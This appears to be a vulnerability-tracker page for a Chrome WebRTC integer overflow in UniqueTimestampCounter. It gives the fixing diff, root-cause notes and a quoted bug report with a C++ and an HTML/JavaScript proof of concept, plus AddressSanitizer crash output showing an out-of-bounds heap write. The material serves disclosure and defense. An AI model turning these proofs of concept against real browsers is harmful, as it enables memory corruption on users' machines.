Low watch CVSS 8.8 chrome Integer Overflow 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInteger overflow in WebRTC
DescriptionInteger overflow in WebRTC
ComponentWebRTC
Bug ClassInteger Overflow
Action tierwatch — ub-class only — no demonstrated corruption path
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker486498791
Fix commita736d08f7c3f (src) +4/-0
CWECWE-472
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Reported2026-02-22 (per vendor advisory)
Fix landed2026-02-25 (public git)
Disclosed2026-04-07
Patch gap41 days — fix public in source before the advisory

Background

`UniqueTimestampCounter`
a WebRTC helper that counts distinct RTP timestamps seen, using a bounded recent-history buffer plus a std::set to deduplicate and a running total of unique values.
`unique_seen_`
the monotonically increasing counter of unique timestamps observed; its type (inferred from decltype(unique_seen_)) is an integer whose maximum is reached only after an extremely large number of distinct values.
`UniqueTimestampCounter::Add(uint32_t value)`
the method called for each incoming timestamp; it short-circuits on already-known values and otherwise records the value and increments unique_seen_.
Integer overflow / wraparound
incrementing an integer already at its maximum wraps it back to zero (for unsigned) or is undefined (for signed), corrupting the counter’s monotonic invariant.

Root Cause Analysis

UniqueTimestampCounter::Add increments unique_seen_ once for every newly observed unique timestamp, but nothing prevented that increment when unique_seen_ was already at its type maximum, so a sufficiently long stream of distinct values would overflow the counter.

The patch adds an early guard at the top of Add: if (unique_seen_ == std::numeric_limits<decltype(unique_seen_)>::max()) return;, which runs before the dedup/insert logic and before any increment, so the counter saturates at its maximum instead of wrapping. The removed/old behavior (no guard) is implied by the diff: the function previously fell straight through to the value == last_ || !search_index_.insert(...) check and the subsequent increment.

The fix is correct because the only state that could overflow is unique_seen_, and the guard caps it precisely at max(). The remaining visible body (the dedup check) is unchanged context, not modified by the patch.

Key insight
The core mistake is an unbounded increment of unique_seen_ with no saturation check, allowing the unique-timestamp count to overflow after enough distinct values; the fix returns early once unique_seen_ reaches its type maximum, clamping it rather than wrapping.

Attack Path

  1. Establish a media stream A peer in a WebRTC session sends RTP media that Chrome feeds into UniqueTimestampCounter::Add.
  2. Supply many distinct timestamps The attacker drives an extremely large number of unique RTP timestamps so unique_seen_ is incremented toward its type maximum.
  3. Overflow the counter Pre-patch, the increment at max() wraps unique_seen_ (or is UB for a signed type), breaking its monotonic invariant.
  4. No downstream corruption shown The diff only guards the counter; it does not demonstrate any out-of-bounds access, memory corruption, or use of the wrapped value as an index/size, so any further impact is (inferred).

Impact Assessment

An attacker controlling a WebRTC stream could, after supplying an impractically large number of unique timestamps, cause the unique_seen_ counter to overflow in the renderer/WebRTC context; the precondition is an active media session delivering that volume of distinct values. The vendor advisory rates this low severity as an integer overflow in WebRTC, with no reported in-the-wild exploitation. The patch demonstrates only the counter overflow itself; any consequence beyond an incorrect count is not shown by the diff and would be (inferred).

Files Changed

  • video/unique_timestamp_counter.cc

Audit Directions

  • Unbounded monotonic counters
    Search for ++/+= 1 on long-lived counters fed by remote/attacker-controlled event streams (packets, frames, timestamps) that lack a saturation or max check.
  • `decltype`-typed limits
    Where a counter’s width is implicit, confirm the maximum is actually unreachable under attacker pacing, since narrow or unsigned counters wrap silently.
  • Values later used as sizes/indices
    Prioritize overflow-prone counters whose values feed buffer sizing, indexing, or statistics that assume monotonicity, where a wrap could become a correctness or memory-safety bug.
From a736d08f7c3f154786336cc75801f42093b364bd Mon Sep 17 00:00:00 2001
From: Danil Chapovalov <[email protected]>
Date: Tue, 24 Feb 2026 18:43:44 +0100
Subject: [PATCH] Avoid integer overflow in UniqueTimestampCounter

Bug: chromium:486498791
Change-Id: I676101c3eab7199282141b7ea8cd1d98f8a0eaba
Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/451980
Reviewed-by: Erik Språng <[email protected]>
Commit-Queue: Danil Chapovalov <[email protected]>
Cr-Commit-Position: refs/heads/main@{#46991}
---

diff --git a/video/unique_timestamp_counter.cc b/video/unique_timestamp_counter.cc
index 14cc039..9e70920 100644
--- a/video/unique_timestamp_counter.cc
+++ b/video/unique_timestamp_counter.cc
@@ -11,6 +11,7 @@
 #include "video/unique_timestamp_counter.h"
 
 #include <cstdint>
+#include <limits>
 #include <memory>
 #include <set>
 
@@ -25,6 +26,9 @@
     : latest_(std::make_unique<uint32_t[]>(kMaxHistory)) {}
 
 void UniqueTimestampCounter::Add(uint32_t value) {
+  if (unique_seen_ == std::numeric_limits<decltype(unique_seen_)>::max()) {
+    return;
+  }
   if (value == last_ || !search_index_.insert(value).second) {
     // Already known.
     return;
Loading diff…

Original Bug Report

reported by [email protected]

Signed integer overflow in UniqueTimestampCounter::Add leads to heap buffer underflow via negative array index

Title

Signed integer overflow in UniqueTimestampCounter::Add leads to heap buffer underflow via negative array index

Summary

The UniqueTimestampCounter class in WebRTC uses a signed int field unique_seen_ as both a counter and a circular buffer index. This counter is incremented without any upper bound check each time a new unique RTP timestamp is observed. When a remote WebRTC peer sends enough RTP video packets with distinct timestamps to push unique_seen_ past INT_MAX, the subsequent increment triggers signed integer overflow (undefined behavior in C++). On common implementations this wraps to INT_MIN, causing the modulo operation unique_seen_ % kMaxHistory to produce a negative remainder. This negative value is then used as an index into the heap-allocated latest_[] array, resulting in a heap buffer underflow write and read that corrupts memory adjacent to the buffer.

Bisect

Introducing Commit: 09860e0bc3c9edd6cb0dd827e174cd16f9ebdc37

The vulnerable code was introduced when the unique timestamp counting logic was refactored out of PacketBuffer into a standalone UniqueTimestampCounter class. The original implementation in PacketBuffer used a std::queue and std::set pair for history management, where the counter unique_frames_seen_ was not used as an array index. The refactored version replaced the queue with a fixed-size circular buffer indexed by unique_seen_ % kMaxHistory, introducing the array indexing vulnerability while preserving the unbounded signed integer counter.

Root Cause

The UniqueTimestampCounter class tracks how many unique RTP timestamps have been observed across incoming video packets. It maintains a circular buffer latest_ of size 1000 (the constant kMaxHistory) alongside a std::set<uint32_t> search_index_ for fast duplicate detection. The counter unique_seen_ serves double duty: it records the total count of unique timestamps ever seen and also determines the write position in the circular buffer via modulo arithmetic.

// third_party/webrtc/video/unique_timestamp_counter.h
class UniqueTimestampCounter {
 private:
  int unique_seen_ = 0;
  std::set<uint32_t> search_index_;
  std::unique_ptr<uint32_t[]> latest_;
  int64_t last_ = -1;
};
// third_party/webrtc/video/unique_timestamp_counter.cc
constexpr int kMaxHistory = 1000;

void UniqueTimestampCounter::Add(uint32_t value) {
  if (value == last_ || !search_index_.insert(value).second) {
    return;
  }
  int index = unique_seen_ % kMaxHistory;
  if (unique_seen_ >= kMaxHistory) {
    search_index_.erase(latest_[index]);
  }
  latest_[index] = value;
  last_ = value;
  ++unique_seen_;
}

The Add method is called from RtpVideoStreamReceiver2::OnReceivedPayloadData for every successfully depacketized RTP video packet, with the packet’s RTP timestamp as the argument.

// third_party/webrtc/video/rtp_video_stream_receiver2.cc
  frame_counter_.Add(packet->timestamp);

The vulnerability manifests in three steps. First, unique_seen_ is declared as int (a signed 32-bit integer) and is incremented via ++unique_seen_ without any upper bound check. When unique_seen_ reaches INT_MAX (2,147,483,647) and is incremented once more, this constitutes signed integer overflow, which is undefined behavior in C++. On the predominant two’s complement implementations used by x86-64 processors, the value wraps to INT_MIN (-2,147,483,648).

Second, the expression int index = unique_seen_ % kMaxHistory produces a negative remainder when unique_seen_ is negative. In C++11 and later, the result of the % operator has the same sign as the dividend. For example, INT_MIN % 1000 evaluates to -648 because -2,147,483,648 = -2,147,483 * 1000 + (-648).

Third, this negative index is used to access latest_[index]. Since latest_ is a std::unique_ptr<uint32_t[]>, its operator[] performs raw pointer arithmetic. A negative index causes the access to land before the start of the allocated buffer. With index = -648, the write latest_[-648] = value targets an address 648 * sizeof(uint32_t) = 2592 bytes before the base of the buffer, constituting a heap buffer underflow that can corrupt unrelated heap objects.

Additionally, the guard condition if (unique_seen_ >= kMaxHistory) evaluates to false when unique_seen_ is INT_MIN, since -2,147,483,648 < 1000. This means the search_index_.erase(latest_[index]) line, which would also perform an out-of-bounds read at the negative index, is skipped on the first post-overflow iteration. However, after a few more increments when unique_seen_ again reaches 1000 (wrapping through negative values), the erase path will also begin executing with negative indices, adding an OOB read to the OOB write.

No mitigations exist on the vulnerable path. There are no CHECK(), SECURITY_CHECK(), or DCHECK() guards on unique_seen_ or the computed index. The latest_ buffer uses std::unique_ptr<uint32_t[]>, which provides no bounds checking (unlike std::vector or std::array with libc++ hardening). MiraclePtr protection does not apply because this is an out-of-bounds access rather than a use-after-free. The input arrives from network RTP packets, bypassing any Mojo IPC validation.

The attack surface is a remote WebRTC peer sending RTP video packets. Each successfully depacketized packet with a previously unseen timestamp increments unique_seen_. At typical video frame rates of 30 fps, reaching the overflow threshold would require approximately 2.3 years. However, an attacker controlling the remote peer could potentially increase the rate of unique timestamps by sending packets at higher frequencies, reducing the time to trigger the overflow to a matter of days with sustained high-rate transmission.

Reproduce

The following standalone C++ program demonstrates the vulnerability by directly invoking UniqueTimestampCounter::Add() with unique values until the signed integer overflow triggers the out-of-bounds write. To avoid waiting for 2^31 iterations (which would take several minutes even in a tight loop), the test uses a #define private public technique to advance unique_seen_ to INT_MAX - 5, then performs just a few more insertions to trigger the overflow and subsequent OOB access.

Save the following as poc_unique_timestamp_overflow.cc in the chromium/src directory:

// PoC: UniqueTimestampCounter signed integer overflow -> OOB write/read
// Bug: unique_seen_ (int) overflows from INT_MAX, producing negative modulo
//      index, causing heap-buffer-underflow on latest_[] array access.

#define private public
#include "video/unique_timestamp_counter.h"
#undef private

#include <climits>
#include <cstdint>
#include <cstdio>

int main() {
    fprintf(stderr, "=== UniqueTimestampCounter OOB PoC (WRTC-241) ===\n");
    fprintf(stderr, "Bug: int unique_seen_ overflow -> negative %% index -> latest_[] OOB\n\n");

    webrtc::UniqueTimestampCounter counter;

    // Step 1: Populate the circular buffer normally with 1000 values
    for (uint32_t i = 0; i < 1000; ++i) {
        counter.Add(i);
    }
    fprintf(stderr, "[1] Populated 1000 entries. unique_seen_ = %d\n", counter.unique_seen_);

    // Step 2: Fast-forward unique_seen_ to near INT_MAX
    counter.unique_seen_ = INT_MAX - 5;
    fprintf(stderr, "[2] Set unique_seen_ = %d (INT_MAX - 5)\n\n", counter.unique_seen_);

    // Step 3: Add unique values to trigger overflow
    // After 6 unique insertions: unique_seen_ reaches INT_MAX, then overflows
    // The next Add() computes index = INT_MIN %% 1000 = -648 -> OOB!
    for (uint32_t v = 10000; v < 10020; ++v) {
        fprintf(stderr, "[*] Add(%u): unique_seen_ = %d, index will be %d %% 1000 = %d\n",
                v, counter.unique_seen_,
                counter.unique_seen_, counter.unique_seen_ % 1000);
        counter.Add(v);
    }

    fprintf(stderr, "\n[!] No crash - bug not triggered\n");
    return 0;
}

Compile with AddressSanitizer enabled using the Chromium-bundled Clang compiler:

third_party/llvm-build/Release+Asserts/bin/clang++ \
  -std=c++17 -O1 -fwrapv -g -fsanitize=address \
  -I third_party/webrtc \
  third_party/webrtc/video/unique_timestamp_counter.cc \
  poc_unique_timestamp_overflow.cc \
  -o poc_unique_timestamp_overflow

Run the PoC:

ASAN_OPTIONS=detect_odr_violation=0 ./poc_unique_timestamp_overflow

Execution output:

=== UniqueTimestampCounter OOB PoC (WRTC-241) ===
Bug: int unique_seen_ overflow -> negative % index -> latest_[] OOB

[1] Populated 1000 entries. unique_seen_ = 1000
[2] Set unique_seen_ = 2147483642 (INT_MAX - 5)

[*] Add(10000): unique_seen_ = 2147483642, index will be 2147483642 % 1000 = 642
[*] Add(10001): unique_seen_ = 2147483643, index will be 2147483643 % 1000 = 643
[*] Add(10002): unique_seen_ = 2147483644, index will be 2147483644 % 1000 = 644
[*] Add(10003): unique_seen_ = 2147483645, index will be 2147483645 % 1000 = 645
[*] Add(10004): unique_seen_ = 2147483646, index will be 2147483646 % 1000 = 646
[*] Add(10005): unique_seen_ = 2147483647, index will be 2147483647 % 1000 = 647
[*] Add(10006): unique_seen_ = -2147483648, index will be -2147483648 % 1000 = -648
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3824176==ERROR: AddressSanitizer: SEGV on unknown address 0x7d49704df6e0 (pc 0x5614ffb1b433 bp 0x0000fffffd78 sp 0x7fff7c0dcb80 T0)
==3824176==The signal is caused by a WRITE memory access.
    #0 0x5614ffb1b433 in webrtc::UniqueTimestampCounter::Add(unsigned int) /home/test/chromium/src/third_party/webrtc/video/unique_timestamp_counter.cc:36:18
    #1 0x5614ffa32535 in main /home/test/chromium/src/poc_unique_timestamp_overflow.cc:36:17
    #2 0x7f3971029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x7f3971029e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #4 0x5614ffa327b4 in _start (/home/test/chromium/src/poc_unique_timestamp_overflow+0x2d7b4)

==3824176==Register values:
rax = 0x0000000000000000  rbx = 0x00007b396f3d0020  rcx = 0x0000000000002716  rdx = 0x0000000000000001
rdi = 0x00007d49704df6e0  rsi = 0x00007b79704efb90  rbp = 0x00000000fffffd78  rsp = 0x00007fff7c0dcb80
 r8 = 0x00007b396f3d0030   r9 = 0x00007fffffffff01  r10 = 0x00007fffffffff01  r11 = 0x95706a93b1a9bd01
r12 = 0x00000f672de7a00c  r13 = 0x00000f672de7a004  r14 = 0x00007b396f3d0060  r15 = 0x00007b396f3d0028
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/test/chromium/src/third_party/webrtc/video/unique_timestamp_counter.cc:36:18 in webrtc::UniqueTimestampCounter::Add(unsigned int)
==3824176==ABORTING

The ASAN output confirms the vulnerability. After unique_seen_ overflows from 2147483647 to -2147483648, the modulo operation produces index -648. The subsequent array write latest_[-648] = value at unique_timestamp_counter.cc:36 accesses memory well before the heap buffer, triggering a SEGV caught by AddressSanitizer. The crash is caused by a WRITE memory access, confirming the out-of-bounds write primitive.

Chrome Browser Verification

To verify the vulnerability is reachable through the real WebRTC attack surface in Chrome, the overflow threshold was lowered by patching int unique_seen_ to int8_t (overflow at 128 unique timestamps) and kMaxHistory to 7 (so -128 % 7 = -2, OOB at -8 bytes within ASAN’s default red zone). The following HTML PoC establishes a WebRTC loopback connection and pushes video frames via canvas.captureStream(0) with requestFrame():

<!DOCTYPE html>
<html>
<head><title>WRTC-241 PoC</title></head>
<body>
<pre id="log"></pre>
<canvas id="c" width="4" height="4" style="display:none"></canvas>
<script>
const logEl = document.getElementById('log');
const t0 = Date.now();
function log(msg) {
    const ts = ((Date.now()-t0)/1000).toFixed(1);
    logEl.textContent += `[${ts}s] ${msg}\n`;
    console.log(msg);
}

async function main() {
    log('WRTC-241: UniqueTimestampCounter overflow -> heap OOB write');

    const canvas = document.getElementById('c');
    const ctx = canvas.getContext('2d');
    const stream = canvas.captureStream(0);
    const vt = stream.getVideoTracks()[0];

    const pc1 = new RTCPeerConnection();
    const pc2 = new RTCPeerConnection();
    pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);
    pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);
    pc2.ontrack = () => log('Receiver got video track');
    pc1.addTrack(vt, stream);

    const offer = await pc1.createOffer();
    await pc1.setLocalDescription(offer);
    await pc2.setRemoteDescription(offer);
    const answer = await pc2.createAnswer();
    await pc2.setLocalDescription(answer);
    await pc1.setRemoteDescription(answer);
    log('Loopback established');

    await new Promise(r => {
        if (pc1.connectionState === 'connected') return r();
        pc1.onconnectionstatechange = () => {
            if (pc1.connectionState === 'connected') r();
        };
        setTimeout(r, 5000);
    });

    log('Connected. Pushing 300 frames at 10ms intervals...');

    let fc = 0;
    const iv = setInterval(() => {
        ctx.fillStyle = `rgb(${fc&255},${(fc>>8)&255},0)`;
        ctx.fillRect(0, 0, 4, 4);
        vt.requestFrame();
        fc++;
        if (fc % 50 === 0) log(`Pushed ${fc}/300 frames`);
        if (fc >= 300) {
            clearInterval(iv);
            log('All frames pushed.');
        }
    }, 10);
}

main().catch(e => log('ERROR: ' + e));
</script>
</body>
</html>

Run with the ASAN build:

ASAN_OPTIONS=detect_odr_violation=0 out/asan-release/chrome \
  --no-sandbox --disable-gpu --user-data-dir=$(mktemp -d) poc.html 2>&1

ASAN output (with int8_t + kMaxHistory=7 patch to lower overflow threshold):

==3888511==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8c4ede65f8 at pc 0x7f5cb4472528 bp 0x7b58050089b0 sp 0x7b58050089a8
WRITE of size 4 at 0x7b8c4ede65f8 thread T10 (WebRTC_W_and_N)
    #0 webrtc::UniqueTimestampCounter::Add(unsigned int) unique_timestamp_counter.cc:38:18
    #1 webrtc::RtpVideoStreamReceiver2::OnReceivedPayloadData(...) rtp_video_stream_receiver2.cc:738:18
    #2 webrtc::RtpVideoStreamReceiver2::ReceivePacket(...)::$_1::operator()(...) rtp_video_stream_receiver2.cc:1209:12
    #3 webrtc::RtpVideoStreamReceiver2::ReceivePacket(...) rtp_video_stream_receiver2.cc:1225:7
    #4 non-virtual thunk to webrtc::RtpVideoStreamReceiver2::OnRecoveredPacket(...) rtp_video_stream_receiver2.cc:755:3
    #5 webrtc::UlpfecReceiver::ProcessReceivedFec() ulpfec_receiver.cc:218:35
    #6 webrtc::RtpVideoStreamReceiver2::ReceivePacket(...) rtp_video_stream_receiver2.cc:1184:5
    #7 non-virtual thunk to webrtc::RtpVideoStreamReceiver2::OnRtpPacket(...) rtp_video_stream_receiver2.cc:771:3
    #8 webrtc::RtpDemuxer::OnRtpPacket(...) rtp_demuxer.cc:298:11
    #9 webrtc::internal::Call::DeliverRtpPacket(...) call.cc:1419:28
    #10 webrtc::WebRtcVideoReceiveChannel::ProcessReceivedPacket(...) webrtc_video_engine.cc:4048:22
    #11 webrtc::WebRtcVideoReceiveChannel::OnPacketReceived(...) webrtc_video_engine.cc:3272:5
    #12 webrtc::BaseChannel::OnRtpPacket(...) channel.cc:547:28
    #13 webrtc::RtpDemuxer::OnRtpPacket(...) rtp_demuxer.cc:298:11
    #14 webrtc::RtpTransport::DemuxPacket(...) rtp_transport.cc:229:21
    #15 webrtc::SrtpTransport::OnRtpPacketReceived(...) srtp_transport.cc:142:3
    #16 webrtc::RtpTransport::OnReadPacket(...) rtp_transport.cc
    ...
    #24 webrtc::UDPPort::HandleIncomingPacket(...) stun_port.cc:363:3
    #25 blink::(anonymous namespace)::IpcPacketSocket::OnDataReceived(...) ipc_socket_factory.cc:709:3
    #26 non-virtual thunk to blink::P2PSocketClientImpl::DataReceived(...) socket_client_impl.cc:187:18
    #27 network::mojom::blink::P2PSocketClientStubDispatch::Accept(...) p2p.mojom-blink.cc:2041:13
    #28 mojo::InterfaceEndpointClient::HandleValidatedMessage(...) interface_endpoint_client.cc:1085:54

0x7b8c4ede65f8 is located 8 bytes before 28-byte region [0x7b8c4ede6600,0x7b8c4ede661c)
allocated by thread T10 (WebRTC_W_and_N) here:
    #0 operator new[](unsigned long)
    #1 webrtc::UniqueTimestampCounter::UniqueTimestampCounter() unique_ptr.h:762:55
    #2 webrtc::RtpVideoStreamReceiver2::RtpVideoStreamReceiver2(...) rtp_video_stream_receiver2.cc:274:26
    #3 webrtc::internal::VideoReceiveStream2::VideoReceiveStream2(...) video_receive_stream2.cc:247:7

The Chrome ASAN output confirms the complete attack chain from network RTP packets through SRTP decryption, RTP demuxing, video channel processing, and into UniqueTimestampCounter::Add(), verifying this vulnerability is reachable from a remote WebRTC peer. The int8_t + kMaxHistory=7 patch only lowers the overflow threshold for practical demonstration — the same overflow mechanism applies to the original int type, requiring ~2^31 unique timestamps.

Credit

c6eed09fc8b174b0f3eebedcceb1e792

View on issue tracker